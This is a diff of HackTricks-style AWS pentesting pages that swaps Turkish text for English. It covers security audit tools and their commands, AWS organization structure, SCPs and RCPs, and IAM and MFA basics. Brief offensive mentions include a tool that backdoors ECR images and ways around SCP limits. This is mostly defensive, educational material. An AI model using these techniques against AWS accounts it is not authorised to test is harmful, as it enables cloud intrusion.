Bu araç, potansiyel olarak **aşırı ayrıcalıklı** müşteri, inline ve aws **politikalarını** ve hangi **prensiplerin bunlara erişimi olduğunu** gösterecektir. (Bu sadece privesc için kontrol etmez, aynı zamanda diğer ilginç izin türlerini de kontrol eder, kullanılması önerilir).
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
|
||||
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -290,20 +303,24 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack, Route53 ve CloudFront yapılandırmalarının ayrılması sonucunda **alt alan ele geçirme açıklarını** değerlendirmek için AWS hesaplarını analiz eder.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR repo'larını listele -> ECR repo'sunu çek -> Arka kapı ekle -> Arka kapılı görüntüyü it.
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag, kamuya açık Elastic Block Storage (**EBS**) anlık görüntülerinde, yanlışlıkla bırakılmış olabilecek **gizli bilgileri** arayan bir araçtır.
|
||||
|
||||
### Denetim
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
|
||||
|
||||
### Audit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua tarafından geliştirilen CloudSploit, Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) ve GitHub dahil olmak üzere **bulut altyapısı** hesaplarındaki **güvenlik risklerini** tespit etmeye yönelik açık kaynak bir projedir (ShadowAdmins için arama yapmaz).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler, AWS güvenlik en iyi uygulamaları değerlendirmeleri, denetimleri, olay müdahalesi, sürekli izleme, sertleştirme ve adli bilişim hazırlığı yapmak için kullanılan açık kaynaklı bir güvenlik aracıdır.
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
|
||||
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -314,11 +331,15 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox, tanıdık olmayan bulut ortamlarında durum farkındalığı kazanmanıza yardımcı olur. Penetrasyon test uzmanları ve diğer saldırgan güvenlik profesyonellerinin bulut altyapısında istismar edilebilir saldırı yollarını bulmalarına yardımcı olmak için oluşturulmuş açık kaynaklı bir komut satırı aracıdır.
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite, bulut ortamlarının güvenlik durumu değerlendirmesine olanak tanıyan açık kaynaklı çoklu bulut güvenlik denetim aracıdır.
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -329,16 +350,18 @@ scout --help
|
||||
# Get info
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Bulut Güvenliği Suite (python2.7 kullanır ve bakımsız görünüyor)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus, AWS EC2 / S3 / CloudTrail / CloudWatch / KMS için güçlü bir en iyi sertleştirme uygulamaları aracıdır (bakımsız görünüyor). Sadece sistem içindeki varsayılan yapılandırılmış kimlik bilgilerini kontrol eder.
|
||||
|
||||
### Sürekli Denetim
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian, kamu bulut hesaplarını ve kaynaklarını yönetmek için bir kurallar motorudur. Kullanıcılara **iyi yönetilen bir bulut altyapısını etkinleştirmek için politikalar tanımlama** imkanı sunar; bu, hem güvenli hem de maliyet açısından optimize edilmiştir. Birçok kuruluşun el yapımı betiklerini hafif ve esnek bir araca dönüştürerek, birleşik metrikler ve raporlama ile birleştirir.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Kod Olarak Politika Botu (PacBot)**, **sürekli uyum izleme, uyum raporlama ve güvenlik otomasyonu için bir platformdur**. PacBot'ta, güvenlik ve uyum politikaları kod olarak uygulanır. PacBot tarafından keşfedilen tüm kaynaklar, politika uyumunu değerlendirmek için bu politikalara karşı değerlendirilir. PacBot'un **otomatik düzeltme** çerçevesi, önceden tanımlanmış eylemleri alarak politika ihlallerine otomatik olarak yanıt verme yeteneği sağlar.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert, herhangi bir ortamdan veri **almanıza, analiz etmenize ve uyarı vermenize** olanak tanıyan sunucusuz, **gerçek zamanlı** bir veri analiz çerçevesidir; **veri kaynakları ve uyarı mantığını tanımlayarak** kullanabilirsiniz. Bilgisayar güvenliği ekipleri, olay tespiti ve yanıtı için her gün terabaytlarca günlük verisini taramak için StreamAlert'ı kullanır.
|
||||
### Constant Audit
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
|
||||
## DEBUG: AWS cli isteklerini yakala
|
||||
```bash
|
||||
# Set proxy
|
||||
export HTTP_PROXY=http://localhost:8080
|
||||
@@ -357,9 +380,14 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
|
||||
# Run aws cli normally trusting burp cert
|
||||
aws ...
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,337 +1,351 @@
|
||||
# AWS - Temel Bilgiler
|
||||
# AWS - Basic Information
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizasyon Hiyerarşisi
|
||||
## Organization Hierarchy
|
||||
|
||||
.png>)
|
||||
|
||||
### Hesaplar
|
||||
### Accounts
|
||||
|
||||
AWS'de, **tüm hesapların** **ebeveyn konteyneri** olan bir **root hesabı** vardır. Ancak, kaynakları dağıtmak için bu hesabı kullanmanız gerekmez, **farklı AWS** altyapılarını birbirinden ayırmak için **diğer hesaplar oluşturabilirsiniz**.
|
||||
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
|
||||
|
||||
Bu, **güvenlik** açısından çok ilginçtir, çünkü **bir hesap diğer hesaptan kaynaklara erişemez** (özel köprüler oluşturulmadığı sürece), bu şekilde dağıtımlar arasında sınırlar oluşturabilirsiniz.
|
||||
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
|
||||
|
||||
Bu nedenle, bir organizasyonda **iki tür hesap vardır** (AWS hesaplarından bahsediyoruz, Kullanıcı hesaplarından değil): yönetim hesabı olarak belirlenen tek bir hesap ve bir veya daha fazla üye hesabı.
|
||||
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
|
||||
|
||||
- **Yönetim hesabı (root hesabı)**, organizasyonu oluşturmak için kullandığınız hesaptır. Organizasyonun yönetim hesabından aşağıdakileri yapabilirsiniz:
|
||||
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
|
||||
|
||||
- Organizasyonda hesaplar oluşturun
|
||||
- Diğer mevcut hesapları organizasyona davet edin
|
||||
- Organizasyondan hesapları kaldırın
|
||||
- Davetleri yönetin
|
||||
- Organizasyon içindeki varlıklara (root'lar, OU'lar veya hesaplar) politikalar uygulayın
|
||||
- Organizasyondaki tüm hesaplar arasında hizmet işlevselliği sağlamak için desteklenen AWS hizmetleriyle entegrasyonu etkinleştirin.
|
||||
- Bu root hesabı/organizasyonu oluşturmak için kullanılan e-posta ve şifre ile root kullanıcı olarak giriş yapmak mümkündür.
|
||||
- Create accounts in the organization
|
||||
- Invite other existing accounts to the organization
|
||||
- Remove accounts from the organization
|
||||
- Manage invitations
|
||||
- Apply policies to entities (roots, OUs, or accounts) within the organization
|
||||
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
|
||||
- It's possible to login as the root user using the email and password used to create this root account/organization.
|
||||
|
||||
Yönetim hesabı, **ödeyici hesabının** sorumluluklarına sahiptir ve üye hesaplar tarafından biriken tüm ücretleri ödemekten sorumludur. Bir organizasyonun yönetim hesabını değiştiremezsiniz.
|
||||
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
|
||||
|
||||
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
|
||||
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
|
||||
|
||||
- **Üye hesaplar**, bir organizasyondaki tüm diğer hesapları oluşturur. Bir hesap aynı anda yalnızca bir organizasyonun üyesi olabilir. Bir hesaba yalnızca o hesaba kontroller uygulamak için bir politika ekleyebilirsiniz.
|
||||
- Üye hesaplar **geçerli bir e-posta adresi kullanmalıdır** ve bir **isim** alabilir, genellikle faturalandırmayı yönetemezler (ancak buna erişim verilebilir).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
### **Organizasyon Birimleri**
|
||||
|
||||
Hesaplar **Organizasyon Birimleri (OU)** içinde gruplandırılabilir. Bu şekilde, Organizasyon Birimi için **tüm alt hesaplara uygulanacak** **politikalar** oluşturabilirsiniz. Bir OU'nun altı olarak başka OU'lar da olabileceğini unutmayın.
|
||||
### **Organization Units**
|
||||
|
||||
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
|
||||
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
Bir **service control policy (SCP)**, SCP'nin etkilediği hesaplarda kullanıcıların ve rollerin kullanabileceği hizmetleri ve eylemleri belirten bir politikadır. SCP'ler, **IAM** izin politikalarına **benzer**, ancak **hiçbir izin vermezler**. Bunun yerine, SCP'ler bir organizasyon, organizasyonel birim (OU) veya hesap için **maksimum izinleri** belirtir. Bir SCP'yi organizasyon kökünüze veya bir OU'ya eklediğinizde, **SCP, üye hesaplardaki varlıkların izinlerini sınırlar**.
|
||||
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
|
||||
|
||||
Bu, **root kullanıcının bile bir şey yapmasını durdurmanın TEK yoludur**. Örneğin, kullanıcıların CloudTrail'i devre dışı bırakmasını veya yedekleri silmesini engellemek için kullanılabilir.\
|
||||
Bunu aşmanın tek yolu, SCP'leri yapılandıran **master hesabı** da tehlikeye atmaktır (master hesap engellenemez).
|
||||
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
|
||||
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
|
||||
|
||||
> [!WARNING]
|
||||
> **SCP'ler yalnızca hesap içindeki ilkeleri kısıtlar**, bu nedenle diğer hesaplar etkilenmez. Bu, bir SCP'nin `s3:GetObject` iznini reddetmesinin, insanların **hesabınızdaki bir genel S3 bucket'a erişmesini durdurmayacağı anlamına gelir**.
|
||||
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
|
||||
|
||||
SCP örnekleri:
|
||||
SCP examples:
|
||||
|
||||
- Root hesabını tamamen reddet
|
||||
- Sadece belirli bölgeleri izin ver
|
||||
- Sadece beyaz listeye alınmış hizmetlere izin ver
|
||||
- GuardDuty, CloudTrail ve S3 Genel Erişim Engeli'nin devre dışı bırakılmasını reddet
|
||||
- Deny the root account entirely
|
||||
- Only allow specific regions
|
||||
- Only allow white-listed services
|
||||
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
|
||||
|
||||
- Güvenlik/olay yanıtı rollerinin silinmesini veya
|
||||
being disabled
|
||||
|
||||
değiştirilmesini reddet.
|
||||
- Deny security/incident response roles from being deleted or
|
||||
|
||||
- Yedeklerin silinmesini reddet.
|
||||
- IAM kullanıcıları ve erişim anahtarları oluşturmayı reddet
|
||||
modified.
|
||||
|
||||
**JSON örneklerini** [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) adresinde bulabilirsiniz.
|
||||
- Deny backups from being deleted.
|
||||
- Deny creating IAM users and access keys
|
||||
|
||||
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### Resource Control Policy (RCP)
|
||||
|
||||
Bir **resource control policy (RCP)**, **AWS organizasyonunuz içindeki kaynaklar için maksimum izinleri** tanımlayan bir politikadır. RCP'ler, sözdizimi açısından IAM politikalarına benzer, ancak **izin vermezler**—sadece diğer politikalar tarafından kaynaklara uygulanabilecek izinleri sınırlar. Bir RCP'yi organizasyon kökünüze, bir organizasyonel birime (OU) veya bir hesaba eklediğinizde, RCP, etkilenen kapsamda tüm kaynaklar üzerindeki kaynak izinlerini sınırlar.
|
||||
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **don’t grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
|
||||
|
||||
Bu, **kaynakların önceden tanımlanmış erişim seviyelerini aşmasını sağlamanın TEK yoludur**—bir kimlik tabanlı veya kaynak tabanlı politika çok izin verici olsa bile. Bu sınırlamaları aşmanın tek yolu, organizasyonunuzun yönetim hesabı tarafından yapılandırılan RCP'yi de değiştirmektir.
|
||||
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organization’s management account.
|
||||
|
||||
> [!WARNING]
|
||||
> RCP'ler yalnızca kaynakların sahip olabileceği izinleri kısıtlar. Doğrudan ilkelerin ne yapabileceğini kontrol etmezler. Örneğin, bir RCP bir S3 bucket'a dış erişimi reddederse, bu, bucket'ın izinlerinin belirlenen sınırın ötesinde eylemlere asla izin vermeyeceğini garanti eder—bir kaynak tabanlı politika yanlış yapılandırılmış olsa bile.
|
||||
> RCPs only restrict the permissions that resources can have. They don’t directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the bucket’s permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
|
||||
|
||||
RCP örnekleri:
|
||||
RCP examples:
|
||||
|
||||
- S3 bucket'larını, yalnızca organizasyonunuz içindeki ilkeler tarafından erişilebilecek şekilde kısıtlayın
|
||||
- KMS anahtar kullanımını yalnızca güvenilir organizasyonel hesaplardan gelen işlemlerle sınırlayın
|
||||
- Yetkisiz değişiklikleri önlemek için SQS kuyruklarındaki izinleri sınırlandırın
|
||||
- Hassas verileri korumak için Secrets Manager sırlarında erişim sınırlarını zorlayın
|
||||
- Restrict S3 buckets so they can only be accessed by principals within your organization
|
||||
- Limit KMS key usage to only allow operations from trusted organizational accounts
|
||||
- Cap permissions on SQS queues to prevent unauthorized modifications
|
||||
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
|
||||
|
||||
Örnekleri [AWS Organizations Resource Control Policies belgelerinde](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) bulabilirsiniz.
|
||||
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name**, AWS içindeki her kaynağın **benzersiz adıdır**, bu şekilde oluşur:
|
||||
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
|
||||
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
Not edin ki AWS'de 4 bölüm vardır ancak bunları çağırmanın yalnızca 3 yolu vardır:
|
||||
|
||||
Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
|
||||
- AWS Standard: `aws`
|
||||
- AWS China: `aws-cn`
|
||||
- AWS US public Internet (GovCloud): `aws-us-gov`
|
||||
- AWS Secret (US Classified): `aws`
|
||||
|
||||
## IAM - Kimlik ve Erişim Yönetimi
|
||||
## IAM - Identity and Access Management
|
||||
|
||||
IAM, AWS hesabınız içinde **Kimlik Doğrulama**, **Yetkilendirme** ve **Erişim Kontrolü** yönetmenizi sağlayan hizmettir.
|
||||
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
|
||||
|
||||
- **Kimlik Doğrulama** - Bir kimliğin tanımlanması ve o kimliğin doğrulanması süreci. Bu süreç, Tanımlama ve doğrulama olarak alt bölümlere ayrılabilir.
|
||||
- **Yetkilendirme** - Bir kimliğin, sisteme kimlik doğrulaması yapıldıktan sonra neye erişebileceğini belirler.
|
||||
- **Erişim Kontrolü** - Güvenli bir kaynağa erişimin nasıl verileceği ile ilgili yöntem ve süreçtir.
|
||||
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
|
||||
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
|
||||
- **Access Control** - The method and process of how access is granted to a secure resource
|
||||
|
||||
IAM, AWS hesabınızdaki kaynaklarınıza kimliklerin kimlik doğrulama, yetkilendirme ve erişim kontrol mekanizmalarını yönetme, kontrol etme ve yönetme yeteneği ile tanımlanabilir.
|
||||
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
|
||||
|
||||
### [AWS hesap kök kullanıcısı](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
Amazon Web Services (AWS) hesabınızı ilk oluşturduğunuzda, hesabınızdaki tüm AWS hizmetlerine ve kaynaklarına **tam erişime sahip** tek bir oturum açma kimliği ile başlarsınız. Bu, AWS hesap _**kök kullanıcısı**dır_ ve **hesabı oluşturmak için kullandığınız e-posta adresi ve şifre ile oturum açarak** erişilir.
|
||||
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
|
||||
|
||||
Yeni bir **admin kullanıcısının kök kullanıcıdan** **daha az izin** alacağını unutmayın.
|
||||
Note that a new **admin user** will have **less permissions that the root user**.
|
||||
|
||||
Güvenlik açısından, diğer kullanıcıları oluşturmanız ve bu kullanıcıyı kullanmaktan kaçınmanız önerilir.
|
||||
From a security point of view, it's recommended to create other users and avoid using this one.
|
||||
|
||||
### [IAM kullanıcıları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
IAM _kullanıcısı_, AWS'de **onu kullanan kişi veya uygulamayı temsil etmek** için oluşturduğunuz bir varlıktır. AWS'deki bir kullanıcı, bir isim ve kimlik bilgileri (şifre ve en fazla iki erişim anahtarı) içerir.
|
||||
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
|
||||
|
||||
Bir IAM kullanıcısı oluşturduğunuzda, ona uygun izin politikaları eklenmiş bir **kullanıcı grubunun üyesi** yaparak (önerilir) veya **doğrudan politikalar ekleyerek** **izinler** verirsiniz.
|
||||
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
|
||||
|
||||
Kullanıcılar, konsoldan giriş yapmak için **MFA etkinleştirilebilir**. MFA etkin kullanıcıların API token'ları MFA ile korunmaz. Eğer **MFA kullanarak bir kullanıcının API anahtarlarının erişimini kısıtlamak** istiyorsanız, belirli eylemleri gerçekleştirmek için MFA'nın mevcut olması gerektiğini politikada belirtmeniz gerekir (örnek [**burada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **Erişim Anahtarı ID'si**: 20 rastgele büyük harfli alfanümerik karakter, örneğin AKHDNAPO86BSHKDIRYT
|
||||
- **Gizli erişim anahtarı ID'si**: 40 rastgele büyük ve küçük harf karakteri: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (kayıp gizli erişim anahtarı ID'leri geri alınamaz).
|
||||
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
|
||||
|
||||
Herhangi bir zamanda **Erişim Anahtarını değiştirmek** istediğinizde izlemeniz gereken süreç:\
|
||||
_Yeni bir erişim anahtarı oluştur -> Yeni anahtarı sistem/uygulamaya uygula -> Orijinalini pasif olarak işaretle -> Yeni erişim anahtarının çalıştığını test et ve doğrula -> Eski erişim anahtarını sil_
|
||||
Whenever you need to **change the Access Key** this is the process you should follow:\
|
||||
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
|
||||
|
||||
### MFA - Çok Faktörlü Kimlik Doğrulama
|
||||
### MFA - Multi Factor Authentication
|
||||
|
||||
Bu, mevcut yöntemlerinize ek olarak **kimlik doğrulama için ek bir faktör oluşturmak** için kullanılır, örneğin şifre, böylece çok faktörlü bir kimlik doğrulama seviyesi oluşturur.\
|
||||
Ücretsiz bir **sanal uygulama veya fiziksel cihaz** kullanabilirsiniz. AWS'de MFA etkinleştirmek için ücretsiz olarak google authentication gibi uygulamaları kullanabilirsiniz.
|
||||
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
|
||||
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
|
||||
|
||||
MFA koşulları olan politikalar aşağıdakilere eklenebilir:
|
||||
Policies with MFA conditions can be attached to the following:
|
||||
|
||||
- Bir IAM kullanıcısı veya grubu
|
||||
- Amazon S3 bucket, Amazon SQS kuyruğu veya Amazon SNS konusu gibi bir kaynak
|
||||
- Bir kullanıcının üstlenebileceği bir IAM rolünün güven politikası
|
||||
- An IAM user or group
|
||||
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
|
||||
- The trust policy of an IAM role that can be assumed by a user
|
||||
|
||||
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
|
||||
Note that **`AssumeRole` credentials don't contain this information**.
|
||||
|
||||
Eğer **CLI üzerinden** MFA kontrolü yapan bir kaynağa **erişmek** istiyorsanız, **`GetSessionToken`** çağrısı yapmanız gerekir. Bu, MFA hakkında bilgi içeren bir token verecektir.\
|
||||
Unutmayın ki **`AssumeRole` kimlik bilgileri bu bilgiyi içermez**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
As [**burada belirtilmiştir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), **MFA'nın kullanılamayacağı** birçok farklı durum vardır.
|
||||
|
||||
### [IAM kullanıcı grupları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
|
||||
|
||||
Bir IAM [kullanıcı grubu](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html), **birden fazla kullanıcıya** aynı anda **politika eklemenin** bir yoludur, bu da o kullanıcıların izinlerini yönetmeyi kolaylaştırabilir. **Roller ve gruplar bir grubun parçası olamaz**.
|
||||
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
Bir **kimlik tabanlı politikayı bir kullanıcı grubuna** ekleyebilirsiniz, böylece kullanıcı grubundaki tüm **kullanıcılar** **politikanın izinlerini alır**. Bir **kullanıcı grubunu** bir **`Principal`** olarak tanımlayamazsınız (örneğin, kaynak tabanlı bir politika gibi) çünkü gruplar izinlerle, kimlik doğrulama ile değil, ilişkilidir ve prensipler kimlik doğrulaması yapılmış IAM varlıklarıdır.
|
||||
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
|
||||
|
||||
Kullanıcı gruplarının bazı önemli özellikleri şunlardır:
|
||||
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
|
||||
|
||||
